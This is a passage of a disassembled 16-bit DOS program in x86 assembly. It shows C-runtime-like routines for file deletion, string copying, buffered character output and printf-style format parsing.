DB 5, 0B8H, 1, 0, 0EBH, 2
DB 33H, 0C0H, 50H, 0B0H, 61H, 50H
DB 0E8H, 19H, 0FFH, 0EBH, 0
LOC_116:
POP BP
RETN
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_31 PROC NEAR
PUSH BP
MOV BP,SP
MOV AH,41H ; 'A'
MOV DX,[BP+4]
INT 21H ; DOS Services ah=function 41h
; delete file, name @ ds:dx
JC LOC_117 ; Jump if carry Set
XOR AX,AX ; Zero register
JMP SHORT LOC_118 ; (0B4A)
LOC_117:
PUSH AX
CALL SUB_10 ; (031F)
JMP SHORT LOC_118 ; (0B4A)
LOC_118:
POP BP
RETN
SUB_31 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_32 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
CLD ; Clear direction
MOV DI,[BP+4]
PUSH DS
POP ES
MOV DX,DI
XOR AL,AL ; Zero register
MOV CX,0FFFFH
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
LEA SI,[DI-1] ; Load effective addr
MOV DI,[BP+6]
MOV CX,0FFFFH
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
NOT CX
SUB DI,CX
XCHG SI,DI
TEST SI,1
JZ LOC_119 ; Jump if zero
MOVSB ; Mov [si] to es:[di]
DEC CX
LOC_119:
SHR CX,1 ; Shift w/zeros fill
REP MOVSW ; Rep while cx>0 Mov [si] to es:[di]
JNC LOC_120 ; Jump if carry=0
MOVSB ; Mov [si] to es:[di]
LOC_120:
MOV AX,DX
JMP SHORT LOC_121 ; (0B84)
LOC_121:
POP DI
POP SI
POP BP
RETN
SUB_32 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_33 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
PUSH DS
POP ES
CLD ; Clear direction
MOV DI,[BP+6]
MOV SI,DI
XOR AL,AL ; Zero register
MOV CX,0FFFFH
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
NOT CX
MOV DI,[BP+4]
REP MOVSB ; Rep while cx>0 Mov [si] to es:[di]
MOV AX,[BP+4]
JMP SHORT LOC_122 ; (0BA8)
LOC_122:
POP DI
POP SI
POP BP
RETN
SUB_33 ENDP
DB 55H, 8BH, 0ECH, 56H, 57H, 1EH
DB 7, 8BH, 7EH, 4, 8BH, 76H
DB 6, 8BH, 4EH, 8, 0D1H, 0E9H
DB 0FCH, 0F3H, 0A5H, 73H, 1, 0A4H
LOC_123:
MOV AX,[BP+4]
JMP SHORT LOC_124 ; (0BC9)
LOC_124:
POP DI
POP SI
POP BP
RETN
DB 0BAH, 0AAH, 3, 0EBH, 3, 0BAH
DB 0AFH, 3, 0B9H, 5, 0, 90H
DB 0B4H, 40H, 0BBH, 2, 0, 0CDH
DB 21H, 0B9H, 27H, 0, 90H, 0BAH
DB 0B4H, 3, 0B4H, 40H, 0CDH, 21H
DB 0E9H, 0F4H, 0F5H
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_34 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV SI,[BP+4]
MOV AX,[SI+0EH]
CMP AX,SI
JE LOC_125 ; Jump if equal
MOV AX,0FFFFH
JMP SHORT LOC_130 ; (0C68)
LOC_125:
CMP WORD PTR [SI],0
JL LOC_128 ; Jump if <
TEST WORD PTR [SI+2],8
JNZ LOC_126 ; Jump if not zero
MOV AX,[SI+0AH]
MOV DX,SI
ADD DX,5
CMP AX,DX
JNE LOC_127 ; Jump if not equal
LOC_126:
MOV WORD PTR [SI],0
MOV AX,[SI+0AH]
MOV DX,SI
ADD DX,5
CMP AX,DX
JNE LOC_127 ; Jump if not equal
MOV AX,[SI+8]
MOV [SI+0AH],AX
LOC_127:
XOR AX,AX ; Zero register
JMP SHORT LOC_130 ; (0C68)
LOC_128:
MOV DI,[SI+6]
ADD DI,[SI]
INC DI
SUB [SI],DI
PUSH DI
MOV AX,[SI+8]
MOV [SI+0AH],AX
PUSH AX
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_27 ; (08C5)
ADD SP,6
CMP AX,DI
JE LOC_129 ; Jump if equal
TEST WORD PTR [SI+2],200H
JNZ LOC_129 ; Jump if not zero
OR WORD PTR [SI+2],10H
nop ;*Fixup for MASM (M)
MOV AX,0FFFFH
JMP SHORT LOC_130 ; (0C68)
LOC_129:
XOR AX,AX ; Zero register
JMP SHORT LOC_130 ; (0C68)
LOC_130:
POP DI
POP SI
POP BP
RETN
SUB_34 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_35 PROC NEAR
PUSH BP
MOV BP,SP
MOV BX,[BP+6]
DEC WORD PTR [BX]
PUSH WORD PTR [BP+6]
MOV AL,[BP+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_36 ; (0C85)
MOV SP,BP
JMP SHORT LOC_131 ; (0C83)
LOC_131:
POP BP
RETN
SUB_35 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_36 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,2
PUSH SI
MOV SI,[BP+6]
MOV AL,[BP+4]
MOV [BP-1],AL
LOC_132:
INC WORD PTR [SI]
JGE LOC_135 ; Jump if > or =
MOV AL,[BP-1]
INC WORD PTR [SI+0AH]
MOV BX,[SI+0AH]
MOV [BX-1],AL
TEST WORD PTR [SI+2],8
JZ LOC_134 ; Jump if zero
CMP BYTE PTR [BP-1],0AH
JE LOC_133 ; Jump if equal
CMP BYTE PTR [BP-1],0DH
JNE LOC_134 ; Jump if not equal
LOC_133:
PUSH SI
CALL SUB_34 ; (0BEE)
POP CX
OR AX,AX ; Zero ?
JZ LOC_134 ; Jump if zero
MOV AX,0FFFFH
JMP LOC_149 ; (0DB0)
LOC_134:
MOV AL,[BP-1]
MOV AH,0
JMP LOC_149 ; (0DB0)
LOC_135:
DEC WORD PTR [SI]
TEST WORD PTR [SI+2],90H
JNZ LOC_136 ; Jump if not zero
TEST WORD PTR [SI+2],2
JNZ LOC_137 ; Jump if not zero
LOC_136:
OR WORD PTR [SI+2],10H
nop ;*Fixup for MASM (M)
MOV AX,0FFFFH
JMP LOC_149 ; (0DB0)
LOC_137:
OR WORD PTR [SI+2],100H
CMP WORD PTR [SI+6],0
JE LOC_141 ; Jump if equal
CMP WORD PTR [SI],0
JE LOC_139 ; Jump if equal
PUSH SI
CALL SUB_34 ; (0BEE)
POP CX
OR AX,AX ; Zero ?
JZ LOC_138 ; Jump if zero
MOV AX,0FFFFH
JMP LOC_149 ; (0DB0)
LOC_138:
JMP SHORT LOC_140 ; (0D15)
LOC_139:
MOV AX,0FFFFH
MOV DX,[SI+6]
SUB AX,DX
MOV [SI],AX
LOC_140:
JMP LOC_132 ; (0C95)
JMP LOC_149 ; (0DB0)
LOC_141:
CMP WORD PTR DS:DATA_34E,0 ; (7FC4:03A8=0AE46H)
JNE LOC_145 ; Jump if not equal
MOV AX,24EH
CMP AX,SI
JNE LOC_145 ; Jump if not equal
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_25 ; (07BA)
POP CX
OR AX,AX ; Zero ?
JNZ LOC_142 ; Jump if not zero
AND WORD PTR [SI+2],0FDFFH
LOC_142:
MOV AX,200H
PUSH AX
TEST WORD PTR [SI+2],200H
JZ LOC_143 ; Jump if zero
MOV AX,2
JMP SHORT LOC_144 ; (0D4D)
LOC_143:
XOR AX,AX ; Zero register
LOC_144:
PUSH AX
XOR AX,AX ; Zero register
PUSH AX
PUSH SI
CALL SUB_26 ; (07D2)
ADD SP,8
JMP LOC_137 ; (0CEA)
nop ;*Fixup for MASM (V)
LOC_145:
CMP BYTE PTR [BP-1],0AH
JNE LOC_146 ; Jump if not equal
TEST WORD PTR [SI+2],40H
JNZ LOC_146 ; Jump if not zero
MOV AX,1
PUSH AX
MOV AX,3DCH
PUSH AX
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_28 ; (09D8)
ADD SP,6
CMP AX,1
JNE LOC_147 ; Jump if not equal
LOC_146:
MOV AX,1
PUSH AX
LEA AX,[BP+4] ; Load effective addr
PUSH AX
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_28 ; (09D8)
ADD SP,6
CMP AX,1
JE LOC_148 ; Jump if equal
LOC_147:
TEST WORD PTR [SI+2],200H
JNZ LOC_148 ; Jump if not zero
OR WORD PTR [SI+2],10H
nop ;*Fixup for MASM (M)
MOV AX,0FFFFH
JMP SHORT LOC_149 ; (0DB0)
LOC_148:
MOV AL,[BP-1]
MOV AH,0
JMP SHORT LOC_149 ; (0DB0)
LOC_149:
POP SI
MOV SP,BP
POP BP
RETN
SUB_36 ENDP
DB 55H, 8BH, 0ECH, 56H, 8BH, 76H
DB 4, 0B8H, 4EH, 2, 50H, 56H
DB 0E8H, 0C1H, 0FEH, 59H, 59H, 0EBH
DB 0, 5EH, 5DH, 0C3H, 55H, 8BH
DB 0ECH, 83H, 0ECH, 2, 56H, 57H
DB 8BH, 76H, 4, 8BH, 7EH, 6
DB 47H, 0F7H, 44H, 2, 8, 0
DB 74H, 23H, 0EBH, 2
LOC_150:
JMP SHORT LOC_151 ; (0DE5)
LOC_151:
DEC DI
MOV AX,DI
OR AX,AX ; Zero ?
JZ LOC_152 ; Jump if zero
PUSH SI
MOV BX,[BP+8]
INC WORD PTR [BP+8]
MOV AL,[BX]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_36 ; (0C85)
POP CX
POP CX
CMP AX,0FFFFH
JNE LOC_150 ; Jump if not equal
LOC_152:
JMP LOC_159 ; (0E79)
DB 0F7H, 44H, 2, 40H, 0, 74H
DB 37H, 83H, 7CH, 6, 0, 74H
DB 31H, 8BH, 44H, 6, 3BH, 0C7H
DB 73H, 2AH, 83H, 3CH, 0, 74H
DB 0DH, 56H, 0E8H, 0CDH, 0FDH, 59H
DB 0BH, 0C0H, 74H, 4, 33H, 0C0H
DB 0EBH
DB 53H
LOC_153:
DEC DI
PUSH DI
PUSH WORD PTR [BP+8]
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_28 ; (09D8)
ADD SP,6
MOV [BP-2],AX
SUB DI,[BP-2]
JMP SHORT LOC_159 ; (0E79)
LOC_154:
JMP SHORT LOC_156 ; (0E46)
LOC_155:
JMP SHORT LOC_156 ; (0E46)
LOC_156:
DEC DI
MOV AX,DI
OR AX,AX ; Zero ?
JZ LOC_159 ; Jump if zero
INC WORD PTR [SI]
JGE LOC_157 ; Jump if > or =
MOV BX,[BP+8]
INC WORD PTR [BP+8]
MOV AL,[BX]
INC WORD PTR [SI+0AH]
MOV BX,[SI+0AH]
MOV [BX-1],AL
MOV AH,0
JMP SHORT LOC_158 ; (0E74)
LOC_157:
PUSH SI
MOV BX,[BP+8]
INC WORD PTR [BP+8]
PUSH WORD PTR [BX]
CALL SUB_35 ; (0C6C)
POP CX
POP CX
LOC_158:
CMP AX,0FFFFH
JNE LOC_155 ; Jump if not equal
LOC_159:
MOV AX,DI
JMP SHORT LOC_160 ; (0E7D)
LOC_160:
POP DI
POP SI
MOV SP,BP
POP BP
RETN 6
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_37 PROC NEAR
JMP WORD PTR DS:[45CH] ; (8134:045C=0BCDH)
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
SUB_38:
PUSH BP
MOV BP,SP
MOV DX,[BP+4]
MOV CX,0F04H
MOV BX,3E5H
CLD ; Clear direction
MOV AL,DH
SHR AL,CL ; Shift w/zeros fill
XLAT ; al=[al+[bx]] table
STOSB ; Store al to es:[di]
MOV AL,DH
AND AL,CH
XLAT ; al=[al+[bx]] table
STOSB ; Store al to es:[di]
MOV AL,DL
SHR AL,CL ; Shift w/zeros fill
XLAT ; al=[al+[bx]] table
STOSB ; Store al to es:[di]
MOV AL,DL
AND AL,CH
XLAT ; al=[al+[bx]] table
STOSB ; Store al to es:[di]
JMP SHORT LOC_161 ; (0EB0)
LOC_161:
POP BP
RETN 2
SUB_37 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_39 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,96H
PUSH SI
PUSH DI
MOV WORD PTR [BP-56H],0
MOV BYTE PTR [BP-53H],50H ; 'P'
JMP SHORT LOC_163 ; (0F00)
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
SUB_40:
PUSH DI
MOV CX,0FFFFH
XOR AL,AL ; Zero register
REPNE SCASB ; Rept zf=0+cx>0 Scan es:[di] for al
NOT CX
DEC CX
POP DI
RETN
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
SUB_41:
MOV [DI],AL
INC DI
DEC BYTE PTR [BP-53H]
JLE LOC_RET_162 ; Jump if < or =
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
SUB_42:
PUSH BX
PUSH CX
PUSH DX
PUSH ES
LEA AX,[BP-52H] ; Load effective addr
SUB DI,AX
LEA AX,[BP-52H] ; Load effective addr
PUSH AX
PUSH DI
PUSH WORD PTR [BP+8]
CALL WORD PTR [BP+0AH] ;*(0000) 1 entry
MOV BYTE PTR [BP-53H],50H ; 'P'
ADD [BP-56H],DI
LEA DI,[BP-52H] ; Load effective addr
POP ES
POP DX
POP CX
POP BX
LOC_RET_162:
RETN
LOC_163:
PUSH ES
CLD ; Clear direction
LEA DI,[BP-52H] ; Load effective addr
MOV SS:DATA_127E[BP],DI ; (817F:FF6C=0)
LOC_164:
MOV DI,SS:DATA_127E[BP] ; (817F:FF6C=0)
LOC_165:
MOV SI,[BP+6]
LOC_166:
LODSB ; String [si] to al
OR AL,AL ; Zero ?
JZ LOC_168 ; Jump if zero
CMP AL,25H ; '%'
JE LOC_169 ; Jump if equal
LOC_167:
MOV [DI],AL
INC DI
DEC BYTE PTR [BP-53H]
JG LOC_166 ; Jump if >
CALL SUB_42 ; (0EDD)
JMP SHORT LOC_166 ; (0F10)
LOC_168:
JMP LOC_247 ; (139E)
LOC_169:
MOV SS:DATA_134E[BP],SI ; (817F:FF78=0)
LODSB ; String [si] to al
CMP AL,25H ; '%'
JE LOC_167 ; Jump if equal
MOV SS:DATA_127E[BP],DI ; (817F:FF6C=0)
XOR CX,CX ; Zero register
MOV SS:DATA_133E[BP],CX ; (817F:FF76=0)
MOV SS:DATA_126E[BP],CX ; (817F:FF6A=0)
MOV SS:DATA_132E[BP],CL ; (817F:FF75=0)
MOV WORD PTR SS:DATA_130E[BP],0FFFFH ; (817F:FF70=0)
MOV WORD PTR SS:DATA_131E[BP],0FFFFH ; (817F:FF72=0)
JMP SHORT LOC_171 ; (0F53)
LOC_170:
LODSB ; String [si] to al
LOC_171:
XOR AH,AH ; Zero register
MOV DX,AX
MOV BX,AX
SUB BL,20H ; ' '
CMP BL,60H ; '`'
JAE LOC_173 ; Jump if above or =
MOV BL,DATA_111[BX] ; (8134:03F5=0)
MOV AX,BX
CMP AX,17H
JBE LOC_172 ; Jump if below or =
JMP LOC_245 ; (138C)
LOC_172:
MOV BX,AX
SHL BX,1 ; Shift w/zeros fill
JMP WORD PTR CS:DATA_41[BX] ;*(7FD4:0F78=0FC3H) 24 entries
DATA_41 DW OFFSET LOC_176 ; Data table (indexed access)
DATA_42 DW OFFSET LOC_174
DATA_43 DW OFFSET LOC_182
DATA_44 DW OFFSET LOCLOOP_175
DATA_45 DW OFFSET LOC_185
DATA_46 DW OFFSET LOC_186
DATA_47 DW OFFSET LOC_188
DATA_48 DW OFFSET LOC_189
DATA_49 DW OFFSET LOC_190
DATA_50 DW OFFSET LOC_180
DATA_51 DW OFFSET LOC_196
DATA_52 DW OFFSET LOC_191
DATA_53 DW OFFSET LOC_192
DATA_54 DW OFFSET LOC_193
DATA_55 DW OFFSET LOC_205
DATA_56 DW OFFSET LOC_214
DATA_57 DW OFFSET LOC_208
DATA_58 DW OFFSET LOC_209
DATA_59 DW OFFSET LOC_242
DATA_60 DW OFFSET LOC_245
DATA_61 DW OFFSET LOC_245
DATA_62 DW OFFSET LOC_245
DATA_63 DW OFFSET LOC_178
DATA_64 DW OFFSET LOC_179
LOC_173:
JMP LOC_245 ; (138C)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_174:
CMP CH,0
JA LOC_173 ; Jump if above
OR WORD PTR SS:DATA_126E[BP],1 ; (817F:FF6A=0)
JMP SHORT LOC_170 ; (0F52)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOCLOOP_175:
CMP CH,0
JA LOC_173 ; Jump if above
OR WORD PTR SS:DATA_126E[BP],2 ; (817F:FF6A=0)
JMP SHORT LOC_170 ; (0F52)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_176:
CMP CH,0
JA LOC_173 ; Jump if above
CMP BYTE PTR SS:DATA_132E[BP],2BH ; (817F:FF75=0) '+'
JE LOC_177 ; Jump if equal
MOV SS:DATA_132E[BP],DL ; (817F:FF75=0)
LOC_177:
JMP LOC_170 ; (0F52)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_178:
AND WORD PTR SS:DATA_126E[BP],0FFDFH ; (817F:FF6A=0)
MOV CH,5
JMP LOC_170 ; (0F52)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_179:
OR WORD PTR SS:DATA_126E[BP],20H ; (817F:FF6A=0)
MOV CH,5
JMP LOC_170 ; (0F52)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_180:
CMP CH,0
JA LOC_186 ; Jump if above
TEST WORD PTR SS:DATA_126E[BP],2 ; (817F:FF6A=0)
JNZ LOC_183 ; Jump if not zero
OR WORD PTR SS:DATA_126E[BP],8 ; (817F:FF6A=0)
MOV CH,1
JMP LOC_170 ; (0F52)
LOC_181:
JMP LOC_245 ; (138C)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_182:
MOV DI,[BP+4]
MOV AX,[DI]
ADD WORD PTR [BP+4],2
CMP CH,2
JAE LOC_184 ; Jump if above or =
MOV SS:DATA_130E[BP],AX ; (817F:FF70=0)
MOV CH,3
LOC_183:
JMP LOC_170 ; (0F52)
LOC_184:
CMP CH,4
JNE LOC_181 ; Jump if not equal
MOV SS:DATA_131E[BP],AX ; (817F:FF72=0)
INC CH
JMP LOC_170 ; (0F52)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_185:
CMP CH,4
JAE LOC_181 ; Jump if above or =
MOV CH,4
JMP LOC_170 ; (0F52)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_186:
XCHG AX,DX
SUB AL,30H ; '0'
CBW ; Convrt byte to word
CMP CH,2
JA LOC_187 ; Jump if above
MOV CH,2
XCHG AX,SS:DATA_130E[BP] ; (817F:FF70=0)
OR AX,AX ; Zero ?
JL LOC_183 ; Jump if <
SHL AX,1 ; Shift w/zeros fill
MOV DX,AX
SHL AX,1 ; Shift w/zeros fill
SHL AX,1 ; Shift w/zeros fill
ADD AX,DX
ADD SS:DATA_130E[BP],AX ; (817F:FF70=0)
JMP LOC_170 ; (0F52)
LOC_187:
CMP CH,4
JNE LOC_181 ; Jump if not equal
XCHG AX,SS:DATA_131E[BP] ; (817F:FF72=0)
OR AX,AX ; Zero ?
JL LOC_183 ; Jump if <
SHL AX,1 ; Shift w/zeros fill
MOV DX,AX
SHL AX,1 ; Shift w/zeros fill
SHL AX,1 ; Shift w/zeros fill
ADD AX,DX
ADD SS:DATA_131E[BP],AX ; (817F:FF72=0)
JMP LOC_170 ; (0F52)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_188:
OR WORD PTR SS:DATA_126E[BP],10H ; (817F:FF6A=0)
MOV CH,5
JMP LOC_170 ; (0F52)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_189:
OR WORD PTR SS:DATA_126E[BP],100H ; (817F:FF6A=0)
AND WORD PTR SS:DATA_126E[BP],0FFEFH ; (817F:FF6A=0)
MOV CH,5
JMP LOC_170 ; (0F52)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_190:
AND WORD PTR SS:DATA_126E[BP],0FFEFH ; (817F:FF6A=0)
OR WORD PTR SS:DATA_126E[BP],80H ; (817F:FF6A=0)
MOV CH,5
JMP LOC_170 ; (0F52)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_191:
MOV BH,8
JMP SHORT LOC_194 ; (10AD)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_192:
MOV BH,0AH
JMP SHORT LOC_195 ; (10B2)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_193:
MOV BH,10H
MOV BL,0E9H
ADD BL,DL
LOC_194:
MOV BYTE PTR SS:DATA_132E[BP],0 ; (817F:FF75=0)
LOC_195:
MOV BYTE PTR SS:DATA_129E[BP],0 ; (817F:FF6F=0)
MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV DI,[BP+4]
MOV AX,[DI]
XOR DX,DX ; Zero register
JMP SHORT LOC_197 ; (10D5)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_196:
MOV BH,0AH
MOV BYTE PTR SS:DATA_129E[BP],1 ; (817F:FF6F=0)
MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV DI,[BP+4]
MOV AX,[DI]
CWD ; Word to double word
LOC_197:
INC DI
INC DI
MOV [BP+6],SI
TEST WORD PTR SS:DATA_126E[BP],10H ; (817F:FF6A=0)
JZ LOC_198 ; Jump if zero
MOV DX,[DI]
INC DI
INC DI
LOC_198:
MOV [BP+4],DI
LEA DI,[BP-85H] ; Load effective addr
OR AX,AX ; Zero ?
JNZ LOC_202 ; Jump if not zero
OR DX,DX ; Zero ?
JNZ LOC_202 ; Jump if not zero
CMP WORD PTR SS:DATA_131E[BP],0 ; (817F:FF72=0)
JNE LOC_203 ; Jump if not equal
MOV DI,SS:DATA_127E[BP] ; (817F:FF6C=0)
MOV CX,SS:DATA_130E[BP] ; (817F:FF70=0)
JCXZ LOC_201 ; Jump if cx=0
CMP CX,0FFFFH
JE LOC_201 ; Jump if equal
MOV AX,SS:DATA_126E[BP] ; (817F:FF6A=0)
AND AX,8
JZ LOC_199 ; Jump if zero
MOV DL,30H ; '0'
JMP SHORT LOCLOOP_200 ; (111A)
LOC_199:
MOV DL,20H ; ' '
LOCLOOP_200:
MOV AL,DL
CALL SUB_41 ; (0ED5)
LOOP LOCLOOP_200 ; Loop if cx > 0
LOC_201:
JMP LOC_165 ; (0F0D)
LOC_202:
OR WORD PTR SS:DATA_126E[BP],4 ; (817F:FF6A=0)
LOC_203:
PUSH DX
PUSH AX
PUSH DI
MOV AL,BH
CBW ; Convrt byte to word
PUSH AX
MOV AL,SS:DATA_129E[BP] ; (817F:FF6F=0)
PUSH AX
PUSH BX
CALL SUB_30 ; (0A49)
PUSH SS
POP ES
MOV DX,SS:DATA_131E[BP] ; (817F:FF72=0)
OR DX,DX ; Zero ?
JG LOC_204 ; Jump if >
JMP LOC_219 ; (125A)
LOC_204:
JMP LOC_220 ; (126A)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_205:
MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV [BP+6],SI
LEA DI,[BP-86H] ; Load effective addr
MOV BX,[BP+4]
PUSH WORD PTR [BX]
INC BX
INC BX
MOV [BP+4],BX
TEST WORD PTR SS:DATA_126E[BP],20H ; (817F:FF6A=0)
JZ LOC_206 ; Jump if zero
PUSH WORD PTR [BX]
INC BX
INC BX
MOV [BP+4],BX
PUSH SS
POP ES
CALL SUB_38 ; (0E89)
MOV AL,3AH ; ':'
STOSB ; Store al to es:[di]
LOC_206:
PUSH SS
POP ES
CALL SUB_38 ; (0E89)
MOV BYTE PTR [DI],0
MOV BYTE PTR SS:DATA_129E[BP],0 ; (817F:FF6F=0)
AND WORD PTR SS:DATA_126E[BP],0FFFBH ; (817F:FF6A=0)
LEA CX,[BP-86H] ; Load effective addr
SUB DI,CX
XCHG CX,DI
MOV DX,SS:DATA_131E[BP] ; (817F:FF72=0)
CMP DX,CX
JG LOC_207 ; Jump if >
MOV DX,CX
LOC_207:
JMP LOC_219 ; (125A)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_208:
MOV [BP+6],SI
MOV SS:DATA_128E[BP],DL ; (817F:FF6E=0)
MOV DI,[BP+4]
MOV AX,[DI]
ADD WORD PTR [BP+4],2
PUSH SS
POP ES
LEA DI,[BP-85H] ; Load effective addr
XOR AH,AH ; Zero register
MOV [DI],AX
MOV CX,1
JMP LOC_223 ; (1294)
;───── Indexed Entry Point ────────────────────────────────────────────────
LOC_209:
MOV [BP+6],SI
